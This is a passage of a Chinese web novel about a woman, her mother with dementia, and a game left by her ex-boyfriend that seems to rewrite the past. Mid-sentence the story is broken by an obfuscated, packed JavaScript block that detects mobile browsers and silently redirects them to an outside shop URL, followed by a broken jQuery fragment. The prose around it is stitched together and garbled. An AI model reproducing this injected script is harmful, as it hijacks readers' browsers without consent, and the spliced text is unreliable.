“乔女士，你的快递到了，麻烦签收一下。”
乔归荑潦草地签下自己的名字，接过一箱沉甸甸的物件：“谢谢。”
寄件人只写了一个“姜”字。
乔归荑手指微微一颤。划开纸箱，略微扫了一眼里面，是她之前遗落在姜舟家里的一些琐物。睡衣、牙刷、没用完的面膜等等……
没想到，时隔半年，她的前任还是这样的阴魂不散。
乔归荑嫌弃地把箱子扔在角落里，转身就要走。一旁的乔妈妈却摇着轮椅晃悠悠地凑了过来，一面指着纸箱，睁大了一双好奇的眼：“这是……小舟寄回来的吗？”
乔归荑心虚地挡在她身前：“没有啦，妈你看错了。”
乔妈妈憋着嘴，像个孩子一般无辜：“真的吗？”
乔归荑沉默了数秒，最终还是认输地后退了一步。
她可以对姜舟狠心，却没法对妈妈说不。
自从患上痴呆症，乔妈妈的智力在日益衰退，记性也一天不如一天。可她总是忘不了姜舟，哪怕乔归荑早就和他分手了，她也还时不时地惦念着姜舟来家里坐坐。
其实，这也不能怪乔妈妈的一片好心。
姜舟是乔归荑谈的第一个、也是唯一一个男朋友。她将姜舟领回家的那天，乔妈妈高兴得合不拢嘴，还给姜舟包了一个千元的红包。虽然不多，但对于她们这样的家庭来说，已经是很贵重的心意了。
乔归荑是单亲家庭，七岁时妈妈就离婚了，之后便独自带着她在大城市里打工讨生活，缩衣节食供她读大学。从那时候起，乔归荑就暗自发誓，以后她长大工作了，也要一直把妈妈带在身边，相依为命。
因为从小没有父亲，乔妈妈就分外地宠溺乔归荑，总想为她找一个能照顾她的人。所以，在乔归荑把姜舟领回家的那天，乔妈妈是由衷地为她开心。
可如今，时过境迁，两人终是分了手。乔妈妈越是表现出对姜舟的关心，就只会让乔归荑越是难过。
乔归荑弯下腰，将快递箱子拆开，想快速掠过话题：“里面都是我的东西，他只是归还给我而已啦。”
乔归荑一件一件地收拾着，乔妈妈就在旁边玩闹，笑得皱纹也舒展开了，一脸的天真无邪。
最后，一个蓝色的U盘掉落在地，打断了母女俩的注意力。
乔归荑弯腰捡起，这是什么？
乔妈妈惊喜地喊道，“是礼物！”
乔归荑皱起眉毛，回到书房，好奇地打开电脑，把U盘插进接口。
等待开机的间隙，乔归荑突然想起，十年前，在他们刚在一起的时候，她曾半开玩笑似的提过一嘴，让姜舟也给她做一个游戏。
原本以为，他都忘了。
毕竟，姜舟的工作总是很忙，忙到能分给她的时间其实很少很少。连陪她看一晚上的电影都算奢侈，又何谈做个游戏那样需要费心费力的大工程呢？
乔归荑花了十年的时间，才终于认清，姜舟并不是那个值得托付的人。十年，这么长的时间，足以改变很多东西。这段恋情长跑，最后只变成了一块干瘪的鸡肋，食之无味，弃之可惜。这十年期间，姜舟从不主动说情话，每次起争执就知道沉默地回避。乔归荑数不清得到过多少冷暴力和独自哭泣的夜晚。
以至于，两人分手后，乔归荑久久地走不出这段感情阴影，浑浑噩噩度日，一度陷入抑郁。
现在回想起来，姜舟可能从来就没有爱过她。
可是不爱她，当初又为什么要答应和她在一起？
乔归荑不懂，也不想再和姜舟有任何关联了。
如果能重来，她宁愿不要浪费时间，宁愿从来都没有和姜舟开始。
“分都分了，现在做这些又有什么意义。”
电脑开了屏，乔归荑才后知后觉地如梦初醒，猛地伸出手，想拔掉U盘。
可已经晚了，桌面上突然弹出来一个游戏页面，名字叫做《乔的家》。
启动页面是一张姜舟用电脑绘制的像素风画，复刻的是他们当初同居时住的出租屋。
乔归荑鼻头一酸，这个猪头，竟然把她当时给他做的手工陶罐生日礼物也当背景画进去了。当时不是还表现出很不感兴趣、颇嫌幼稚的样子吗？
乔归荑突然想起了什么，反身来到刚签收的快递箱子前，翻来找去，果真看到了那个灰扑扑的陶罐。
距今已经过去十年了，却被保管者养护得很好，几乎没怎么磕碰掉色。
但是作为生日礼物，被主人退回，就已经是它最大的失败。
乔归荑抱着陶罐，眼圈红红的，嘴里也嘟囔起来：“什么‘乔的家’，说到底，还是觉得那是我一个人的家。”
鬼使神差地，乔归荑回到了电脑前，点击了“开始”。
在创建人物的页面，有两个选项。一是给主控小人捏脸、选择穿着的衣服，二是选择存档起始的时间。乔归荑来回翻了翻，捏脸页面的衣柜都画的是她当时在出租屋里用的样式。这种没用的细节，他倒是记得很清楚。
总觉得姜舟没有心，原来，他也会做这种幼稚少女心的事。
如果有机会，真想狠狠嘲讽他一番。
最后，乔归荑没怎么变动，直接使用了默认的主控形象——也就是和她现在最为相似的模样。齐肩的短发，消瘦到显出几分苍白的脸颊。
但是在选择初始时间的时候，乔归荑的鼠标始终悬浮在页面之上，犹豫不决。
最后，乔归荑看着被摆在桌上的灰陶罐，不自觉地点下了一个按钮。
页面开始闪烁，加载结束。映入眼帘的，是缩小版的出租屋。
乔归荑操控着小人从床上爬起来，一转身，发现桌上摆着一个半成品的陶罐，还有几盒打开的颜料。
没错，今天正是她打算将自己的手工陶罐，送给姜舟作为生日礼物的日子。
这个陶罐是她亲自描绘、烧制的，上面画着他们二人的卡通相，前前后后花了半个月的时间才弄好。可姜舟收到礼物之后，不仅无动于衷，连声道谢也没有，还在最后分手时把这个陶罐连同一堆垃圾一起寄还给了她，像是忍了很久似的。
反正，她乔归荑就是幼稚，就是白痴，笨到花时间花精力，最后做一个讨嫌的垃圾出来。
越想越憋屈，乔归荑索性撸起袖管，把颜料盒连同陶罐一起装进了垃圾袋里。
一直忙碌到晚上八点，姜舟加班完回到家，疲累
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719774|144837||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地推开门，见到乔归荑别着发夹大汗淋漓，身旁是好几个大垃圾袋，姜舟神色微滞。
随即，他的目光落在了乔归荑脚边被糟蹋得破旧不堪的陶罐之上：“……你怎么把它丢了？”
“你管我呢。”
乔归荑连看都没看姜舟一眼，那张面瘫脸，化成灰了她也会认得。
姜舟的神色略显惊讶，像一尊雕像凝定在了门口，好似欲言又止一般，再没了动作。
“你想说什么？”乔归荑冷笑出声，“你不会以为，我还有别的礼物要给你吧？”
“……”
“别做梦了！”一想到现实里的姜舟收到礼物时面无表情的模样，乔归荑就忍不住一用力，将陶罐丢进了垃圾桶里，摔个粉碎，“我连个生日祝福都不会给你的！”
看到姜舟仿佛僵滞的表情，乔归荑总算是出了一口恶气，也就在这时按下了暂停键，顺带存档。
“不过是精神胜利法……算了，总比没有好。”
回到现实，心中却更空虚了。乔归荑坐在摇椅上，无奈地耷拉着脑袋，“唉，要是能变成真的就好了。”
话音落下，紧接着，一道白光晃过，周围的景象竟然开始变化起来。
乔归荑还以为自己精神错乱了，慌乱地抓住桌沿，再一抬眼，竟发现刚才还摆在桌上的落灰陶罐，如今却消失不见了。
怎么回事？
竟然凭空消失了？
乔归荑又在房间里搜索了一圈，连带着去翻遍了刚才拆开的快递箱，都一无所获。
她又冲去客厅，在轮椅前蹲下，着急地追问：“妈，你看见我的陶罐了吗？就是小舟寄过来的那个陶罐……”
乔妈妈却笑眯眯地拍起了手。
“陶罐，陶罐，没有陶罐啊。”
连妈妈也不记得了。
难道，游戏真的可以改变现实？
乔归荑的心砰砰直跳起来。
她迅速爬回电脑桌，新建了一个存档，依旧是默认的形象，轮到选择起始时间时，她再度犹豫了一秒钟。
2021年10月，是她第一次和姜舟搭上话的日子。
2022年5月，是她和姜舟正式在一起的日子。
2032年9月，是她和姜舟分手的日子。
也是她人生开始走下坡路的日子。
乔归荑和姜舟在同一家游戏外企上班，是不同部门的同事。她在市场部，而姜舟在技术部。受老板的观念影响，公司严令禁止办公室恋情。所以，他们在一起十年，从未对外公开过。就连哪怕普通情侣之间的牵手和拥抱，也都要偷偷摸摸背着人，根本就是一段心酸的地下情。
但饶是已经这样谨慎了，不知从何时开始，公司里还是传出了关于他们恋情的流言。也正是在被姜舟分手的半个小时前，乔归荑被hr叫去喝茶，领了老板亲笔的辞退信，自此成了无业游民。
失恋、失业……接二连三的打击，让乔归荑一蹶不振。她开始越过越差，生活变得一团糟。
再抬起眼时，乔归荑的眼神已然坚定了许多。
她最终将时针定格在了2032年9月，姜舟提出分手、也就是她被迫丢掉工作的前一天。